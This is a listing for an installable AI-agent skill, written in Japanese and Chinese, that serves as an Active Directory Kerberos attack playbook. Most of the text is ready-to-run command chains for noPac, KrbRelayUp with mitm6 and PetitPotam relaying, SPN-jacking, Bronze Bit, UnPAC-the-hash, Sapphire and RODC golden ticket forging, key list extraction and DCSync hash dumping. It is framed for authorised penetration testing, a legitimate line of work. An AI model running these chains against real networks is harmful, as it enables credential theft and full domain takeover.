kerberos-advanced-attack について
Active Directory 環境における高度な Kerberos 技術を扱うリファレンススキルです。セキュリティテスター向けに、資格情報や前提条件に応じた手法の選択と、Roasting、中継、委任、チケット、RODC の手順を示します。
主な機能
- 01資格情報と前提条件に基づく手法選択
- 02Timeroasting と ASREQroast の手順
- 03noPac・KrbRelayUp・SPN-jacking
- 04UnPAC-the-hash と Bronze Bit の手順
- 05Sapphire ticket と RODC の攻撃チェーン
活用シーン
- 01許可された評価で使う Kerberos 手法の選択
- 02攻撃経路のテスト前に前提条件を確認
- 03RODC のセキュリティテストでコマンドを参照
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ wgpsec/ aboutsecurity --skill kerberos-advanced-attackインストール後、Claude Code で/kerberos-advanced-attackを入力して読み込まれたか確認します。
同梱ファイルreferences/kerberos-escalation.mdreferences/rodc-attack.md
詳細
高度な Kerberos 攻撃
トリガー条件
- 高度な Kerberos 技術(noPac / KrbRelayUp / Timeroasting / RODC)の使用が必要
- 基本的な Kerberoasting と委任攻撃では不十分
- RODC(読み取り専用ドメインコントローラー)が見つかった
- より秘匿性の高いチケット偽造(Sapphire ticket)が必要
前提条件
| 技術 | 必要な認証情報 | 主要なツール |
|---|---|---|
| Timeroasting | 認証情報不要 | timeroast, netexec |
| ASREQroast | 認証情報不要(MITM が必要) | PCredz |
| noPac | 低権限のドメインユーザー | noPac.py, Impacket |
| KrbRelayUp | ローカル SYSTEM | KrbRelayUp, krbrelayx |
| SPN-jacking | ドメインユーザー + WriteSPN | Impacket, tgssub |
| UnPAC-the-hash | ユーザー証明書 | PKINITtools, Rubeus |
| Bronze Bit | 制約付き委任サービスアカウント | Impacket getST |
| Sapphire ticket | krbtgt hash | Impacket ticketer |
| RODC 攻撃チェーン | 段階による | Rubeus, bloodyAD, keylistattack |
技術選択の決定木
你目前有什么?
├── 无凭证/无认证
│ ├── 可达 DC NTP → Timeroasting
│ └── 有 MITM 位置 → ASREQroast
├── 低权限域用户
│ ├── MAQ > 0 → sAMAccountName spoofing (noPac)
│ └── 有 WriteSPN 权限 → SPN-jacking
├── 本地 SYSTEM (无域凭证)
│ └── LDAP signing 未强制 → KrbRelayUp
├── 持有证书
│ └── UnPAC-the-hash
├── 有受限委派 + 目标受保护
│ └── Bronze Bit (CVE-2020-17049)
├── 已有 krbtgt hash
│ └── 需高隐蔽 → Sapphire ticket
└── 发现 RODC
└── RODC 攻击链
1. Timeroasting — NTP 認証なしハッシュ抽出
原理
DC の NTP サービスは、コンピューターアカウントの NTLM hash(MD5 ベースのキー)を使用して、NTP 応答の MAC 値を計算します。攻撃者は認証を一切必要とせず、NTP リクエストを送信して異なる RID を指定するだけで、コンピューターアカウントの SNTP hash を取得し、オフラインで解読できます。この hash は RC4 キーに基づいており、コンピューターアカウントで弱いパスワード(Pre-Windows 2000 デバイスなど)が使われている場合、すばやく解読できます。
前提条件
- ネットワークから DC の NTP ポート(UDP 123)に到達できる
- 認証情報は不要
主なコマンド
# 无认证枚举 — Linux
python3 timeroast.py "$DC_IP"
# netexec 模块
netexec smb "$DC_IP" -M timeroast
# Windows — 认证模式 (可生成针对性字典)
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP
Invoke-AuthenticatedTimeRoast -DomainController $DC_IP -GenerateWordlist
# 破解 SNTP hash
hashcat -m 31300 -a 0 -O hashes.txt $WORDLIST --username
成功の兆候
- SNTP hash ファイルを取得できる
- hashcat でコンピューターアカウントのパスワードを解読できる
- 注意:解読速度は Kerberos TGS hash の約 10 倍です
2. ASREQroast — MITM による AS-REQ のキャプチャ
原理
攻撃者が MITM の位置にいる場合(ARP スプーフィング、ICMP リダイレクト、DHCPv6 ポイズニング)、ドメインユーザーによる通常の Kerberos 事前認証で送信される AS-REQ の暗号化タイムスタンプをキャプチャできます。このタイムスタンプはユーザーパスワードから派生したキーで暗号化されているため、オフラインで解読できます。AS-REP Roasting とは異なり、ASREQroast では対象の事前認証を無効にする必要はありません。
前提条件
- MITM の位置を確保している(ARP/ICMP リダイレクト/DHCPv6)
- ドメイン認証情報は不要
主なコマンド
# 实时抓取
Pcredz -i $INTERFACE -v
# 从 pcap 文件提取
Pcredz -f "$PCAP_FILE"
# 从目录批量提取
Pcredz -d "$PCAP_DIR"
# 破解 AS-REQ Pre-Auth etype 23
hashcat -m 7500 asreq_hashes.txt $WORDLIST
成功の兆候
- ユーザーの AS-REQ 暗号化タイムスタンプ hash をキャプチャできる
- hashcat でユーザーの平文パスワードを解読できる
3. sAMAccountName スプーフィング(noPac)— CVE-2021-42278 + CVE-2021-42287
原理
CVE-2021-42278 により、コンピューターアカウントの sAMAccountName を $ のない値に変更できます。CVE-2021-42287 により、KDC は要求者が見つからない場合に $ を自動的に追加して検索します。これらを組み合わせて悪用します。マシンアカウントを作成 → DC 名($ なし)に変更 → TGT を要求 → 元の名前に戻す → TGT を使って S4U2self で DC の高権限 TGS を取得します。
前提条件
- 低権限ドメインユーザーの認証情報
- MAQ(ms-DS-MachineAccountQuota)> 0
- KB5008102 + KB5008380 のパッチが未インストール
主なコマンド
# 自动化 — 一键利用
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -dump
noPac.py $DOMAIN/$USER:'$PASSWORD' -dc-ip $DC_IP --impersonate Administrator -use-ldap -dump
# 手动链 — UNIX (Impacket)
# Step 1: 创建机器账户
addcomputer.py -computer-name 'FAKEPC$' -computer-pass 'FakePass123' -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 2: 清除 SPN (避免约束检查)
addspn.py --clear -t 'FAKEPC$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 3: 改名为 DC
renameMachine.py -current-name 'FAKEPC$' -new-name "$DC_NAME" -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 4: 用 DC 名请求 TGT
getTGT.py -dc-ip $DC_IP "$DOMAIN/$DC_NAME:FakePass123"
# Step 5: 改回原名
renameMachine.py -current-name "$DC_NAME" -new-name 'FAKEPC$' -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
# Step 6: S4U2self 获取 DC ST
export KRB5CCNAME="$DC_NAME.ccache"
getST.py -self -impersonate "Administrator" -altservice "cifs/$DC_FQDN" -k -no-pass -dc-ip $DC_IP "$DOMAIN/$DC_NAME"
# Step 7: DCSync
export KRB5CCNAME="Administrator@cifs_$DC_FQDN@$DOMAIN.ccache"
secretsdump.py -k -no-pass -dc-ip $DC_IP "$DC_FQDN"
# 手动链 — Windows
New-MachineAccount -MachineAccount "FAKEPC" -Password $(ConvertTo-SecureString "FakePass123" -AsPlainText -Force) -Domain $DOMAIN
Set-DomainObject "FAKEPC$" -Clear 'servicePrincipalName'
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "$DC_NAME" -Attribute samaccountname
Rubeus.exe asktgt /user:"$DC_NAME" /password:"FakePass123" /domain:$DOMAIN /dc:$DC_FQDN /nowrap
Set-MachineAccountAttribute -MachineAccount "FAKEPC" -Value "FAKEPC$" -Attribute samaccountname
Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"cifs/$DC_FQDN" /dc:$DC_FQDN /ptt /ticket:$TGT_BASE64
mimikatz.exe "lsadump::dcsync /domain:$DOMAIN /user:Administrator"
成功の兆候
- DC の cifs/ldap サービスチケットを取得できる
- DCSync でドメイン内の hash を正常にエクスポートできる
4. KrbRelayUp — ローカル Kerberos リレーによる権限昇格
原理
ローカル SYSTEM 権限を取得済みの状況で、マシンアカウントの Kerberos 認証を LDAP サービスにリレーし、RBCD(リソースベースの制約付き委任)を設定してから、S4U チェーンでローカル管理者のチケットを取得します。これにより、SYSTEM からドメイン内の高権限へ昇格します。
前提条件
- ローカル SYSTEM 権限
- LDAP 署名が強制されていない
- MAQ > 0、またはマシンアカウントを制御している
主なコマンド
# 基础利用
KrbRelayUp.exe relay -Domain $DOMAIN -CreateNewComputerAccount -ComputerName YOURPC$ -ComputerPassword Pass
KrbRelayUp.exe spawn -m rbcd -d $DOMAIN -dc $DC_FQDN -cn YOURPC$ -cp Pass
# DNS 投毒 relay 变体 (krbrelayx + mitm6)
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP \
--victim $TARGET_SAMNAME --adcs --template Machine
mitm6 -i $INTERFACE -d $DOMAIN -hw $TARGET_FQDN --relay $ADCS_FQDN -v
# Coerced auth relay 变体
dnstool.py -u "$DOMAIN\\$USER" -p "$PASSWORD" -r attacker.$DOMAIN -a add -t A -d $ATTACKER_IP $DC_IP
krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP --victim $TARGET_SAMNAME --adcs --template Machine
PetitPotam.py attacker.$DOMAIN@80/test $TARGET_IP
成功の兆候
- msDS-AllowedToActOnBehalfOfOtherIdentity への RBCD 設定の書き込みが成功する
- S4U でローカル管理者のチケットを取得できる
- ローカルで SYSTEM への権限昇格、またはドメイン内で横展開できる
5. SPN-jacking — KCD + DACL の組み合わせによる標的型 Kerberoasting
原理
アカウントに対する WriteSPN 権限があり、環境に KCD が設定されている場合、対象の SPN を制御可能なアカウントに「移動」できます。その後、S4U チェーンを利用してチケットを要求し、最後に tgssub でチケット内の SPN フィールドを実際の対象に向けて編集します。
前提条件
- KCD(制約付き委任)が設定済み
- 別のアカウントに対する WriteSPN 権限がある
主なコマンド
# UNIX — 完整 SPN-jacking 流程
# Step 1: 清除目标 B 的 SPN
addspn.py --clear -t 'ServerB$' -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 2: 将 B 的 SPN 添加到可控账户 C
addspn.py -t 'ServerC$' --spn "cifs/serverB.$DOMAIN" -u "$DOMAIN/$USER" -p "$PASSWORD" "$DC_IP"
# Step 3: S4U 请求票据
getST.py -spn "cifs/serverB.$DOMAIN" -impersonate "Administrator" "$DOMAIN/serverA\$:$PASSWORD"
# Step 4: 编辑票据 SPN
tgssub.py -in serverB.ccache -out final.ccache -altservice "cifs/serverC.$DOMAIN"
# Windows
Set-DomainObject -Identity ServerB$ -Clear servicePrincipalName
Set-DomainObject -Identity ServerC$ -Set @{serviceprincipalname="cifs/serverB.$DOMAIN"}
Rubeus.exe s4u /ticket:$TGT /impersonateuser:Administrator /msdsspn:"cifs/serverB.$DOMAIN" /altservice:"cifs/serverC.$DOMAIN" /ptt
成功の兆候
- 対象サービスの有効な ST を取得できる
- 対象サービス(cifs/http/mssql など)にアクセスできる
6. UnPAC-the-hash — PKINIT 証明書から NT Hash を取得
原理
PKINIT で取得した TGT の PAC には、ユーザーの NT hash が含まれています。User-to-User(U2U)要求の仕組みを利用して、自分の TGT で自分の TGS を暗号化し、そこから NT hash を抽出します。ADCS 攻撃または Shadow Credentials 攻撃の後に認証情報を抽出する目的でよく使われます。
前提条件
- 対象ユーザーの有効な証明書(.pfx/.pem)を所持している
- 通常は ADCS の悪用、または Shadow Credentials の書き込みによって取得する
主なコマンド
# PKINITtools — Linux
gettgtpkinit.py -cert-pfx "$CERT_PFX" -pfx-pass "$PFX_PASS" "$DOMAIN/$USER" tgt.ccache
# 记录输出中的 AS-REP encryption key
getnthash.py -key '$AS_REP_KEY' '$DOMAIN'/'$USER'
# Rubeus — Windows
Rubeus.exe asktgt /getcredentials /user:"$USER" /certificate:"$CERT_PFX" /password:"$PFX_PASS" /domain:"$DOMAIN" /dc:"$DC_FQDN" /show
成功の兆候
- 対象ユーザーの NT hash を取得できる
- Pass-the-Hash またはさらなる攻撃に使用できる
7. Bronze Bit(CVE-2020-17049)— 委任の Forwardable フラグの回避
原理
S4U2self で取得したチケットの forwardable フラグは、対象ユーザーが Protected Users グループに所属しているか、sensitive としてマークされているかに基づいて KDC が設定します。Bronze Bit 攻撃では、チケットの forwardable ビットを直接変更します(このチケットはサービスアカウントのキーで暗号化されており、攻撃者はそのキーをすでに所持しているため)。これにより制限を回避し、チケットを S4U2proxy に使用できます。
前提条件
- 制約付き委任が設定されたサービスアカウントを制御している
- 対象ユーザーが Protected Users グループに所属している、または「Account is sensitive and cannot be delegated」とマークされている
主なコマンド
getST.py -force-forwardable \
-spn "$TARGET_SPN" \
-impersonate "Administrator" \
-dc-ip "$DC_IP" \
-hashes :"$NT_HASH" \
"$DOMAIN/$SERVICE_ACCOUNT"
成功の兆候
- 保護されたユーザーの転送可能な(forwardable)ST を取得できる
- 委任先のサービスにアクセスできる
8. Sapphire Ticket — 高度に秘匿されたチケット偽造
原理
Diamond Ticket の発展形です。通常の Golden/Diamond Ticket は偽造 PAC を使用しますが、Sapphire Ticket は S4U2self + U2U の仕組みで対象ユーザーの実際の PAC を取得し、偽造チケットに差し替えます。PAC は KDC による実際の署名付きであるため、検出は非常に困難です。
前提条件
- krbtgt hash(AES + NT hash)を取得済み
- 対象ユーザーの RID とドメイン SID を把握している
主なコマンド
ticketer.py -request \
-impersonate 'domainadmin' \
-domain '$DOMAIN' \
-user '$USER' \
-password '$PASSWORD' \
-nthash '$KRBTGT_NT' \
-aesKey '$KRBTGT_AES' \
-user-id '$TARGET_RID' \
-domain-sid '$DOMAIN_SID' \
'baduser'
注意事項
- KB5008380 のパッチ適用後、KDC は PAC_REQUESTOR と PAC_ATTRIBUTES_INFO の構造をチェックします
- これらのフィールドがないと、KDC_ERR_TGT_REVOKED が発生する場合があります
- Golden/Diamond との比較:Sapphire は実際の PAC(S4U で取得)を使用するため、最も検出が困難です
成功の兆候
- 実際の PAC を含む偽造チケットを取得できる
- チケットが KDC の検証を正常に通過する
9. RODC 攻撃チェーン
原理
只读域控制器 (RODC) 拥有独立的 krbtgt 密钥 (krbtgt_XXXXX),通过密码复制策略 (PRP) 控制可缓存哪些账户的密钥。攻击 RODC 可提取受允许缓存的账户密钥,或通过 DACL 修改 PRP 扩大影响范围。
枚举 RODC
# LDAP 查询
ldapsearch -H ldap://$DC_IP -b "DC=$DOMAIN_DN" "(primaryGroupID=521)" dn sAMAccountName msDS-SecondaryKrbTgtNumber
# netexec
nxc ldap $DC_IP -u "$USER" -p "$PASSWORD" -M rodc
PRP 策略查询
# msDS-RevealOnDemandGroup — 允许缓存列表
# msDS-NeverRevealGroup — 拒绝缓存列表
ldapsearch -H ldap://$DC_IP -b "CN=$RODC_NAME,OU=Domain Controllers,DC=$DOMAIN_DN" \
msDS-RevealOnDemandGroup msDS-NeverRevealGroup managedBy
Key List 攻击 — 提取缓存密钥
# 完整模式 (包含被 Denied 的)
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" -full "$DOMAIN/$USER:$PASS"@"$RODC"
# 正常模式 (遵循 Denied List)
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" "$DOMAIN/$USER:$PASS"@"$RODC"
# 指定用户模式
keylistattack.py -rodcNo "$KRBTGT_NUM" -rodcKey "$KRBTGT_AES" -t "$TARGET_USER" "$DOMAIN/$USER:$PASS"@"$RODC"
# Windows — Rubeus
Rubeus.exe golden /rodcNumber:$KRBTGT_NUM /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:rodc.kirbi /aes256:$KRBTGT_AES /user:$USER /id:$RID /domain:$DOMAIN /sid:$SID
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:rodc.kirbi /service:krbtgt/$DOMAIN
RODC Golden Ticket
Rubeus.exe golden /rodcNumber:$KRBTGT_NUM /flags:forwardable,renewable,enc_pa_rep /nowrap \
/outfile:ticket.kirbi /aes256:$KRBTGT_AES \
/user:Administrator /id:500 /domain:$DOMAIN /sid:$DOMAIN_SID
- kvno 字段必须匹配 RODC 的 krbtgt 版本号
- 票据提交到可写 DC 时,PAC 会被重新计算验证
RODC DACL 利用 — 修改 PRP 扩大影响
# bloodyAD — 添加管理员到允许列表
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP set object "$RODC_DN" \
msDS-RevealOnDemandGroup -v "CN=Domain Admins,CN=Users,DC=$DOMAIN_DN"
# bloodyAD — 清除拒绝列表
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --dc-ip $DC_IP set object "$RODC_DN" \
msDS-NeverRevealGroup
# powerview.py
Set-DomainObject -Identity "$RODC_DN" -Append @{'msDS-RevealOnDemandGroup'='CN=Domain Admins,CN=Users,DC=$DOMAIN_DN'}
Set-DomainObject -Identity "$RODC_DN" -Clear 'msDS-NeverRevealGroup'
- 攻击链: 修改 PRP → 导出 krbtgt_XXXXX → RODC Golden Ticket → Key List 攻击
Pre-Windows 2000 计算机账户
# 默认密码 = 小写计算机名去掉 $
# 筛选: UAC=4128 + logonCount=0
ldapsearch -H ldap://$DC_IP -b "DC=$DOMAIN_DN" "(&(userAccountControl=4128)(logonCount=0))" sAMAccountName
# 批量验证
nxc smb $DC_IP -u computers.txt -p passwords.txt --no-bruteforce
# Kerberos 认证
getTGT.py "$DOMAIN/OLDPC\$:oldpc"
成功标志
- 提取目标账户 NT hash
- 获取 RODC Golden Ticket
- 修改 PRP 后可缓存高权限账户密钥
深入参考
- → references/kerberos-escalation.md — noPac / KrbRelayUp / Bronze Bit / SPN-jacking / Timeroasting / ASREQroast / UnPAC / Sapphire 完整命令参考
- → references/rodc-attack.md — RODC 概念、Key List 攻击、RODC Golden Ticket、DACL 利用、Pre-Windows 2000